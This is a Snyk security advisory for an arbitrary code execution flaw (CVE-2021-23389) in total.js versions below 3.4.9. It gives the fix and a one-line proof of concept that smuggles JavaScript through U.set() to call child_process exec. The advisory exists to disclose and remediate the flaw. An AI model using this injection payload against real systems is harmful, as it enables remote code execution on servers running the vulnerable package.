Arbitrary Code Execution Affecting total.js package, versions <3.4.9


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.68% (80th percentile)

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  • Snyk IDSNYK-JS-TOTALJS-1088607
  • published7 Jul 2021
  • disclosed24 Mar 2021
  • creditAlessio Della Libera (@d3lla), Agustin Gianni

Introduced: 24 Mar 2021

CVE-2021-23389  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade total.js to version 3.4.9 or higher.

Overview

total.js is a framework for Node.js platfrom written in pure JavaScript similar to PHP's Laravel or Python's Django or ASP.NET MVC. It can be used as web, desktop, service or IoT application.

Affected versions of this package are vulnerable to Arbitrary Code Execution via the U.set() and U.get() functions.

PoC by Alessio Della Libera

const total = require('total.js');
U.set({}, 'a;let {mainModule}=process; let {require}=mainModule; let {exec}=require("child_process"); exec("touch HACKED")//');

NOTE: This vulnerability has also been identified as: CVE-2021-32831

CVSS Scores

version 3.1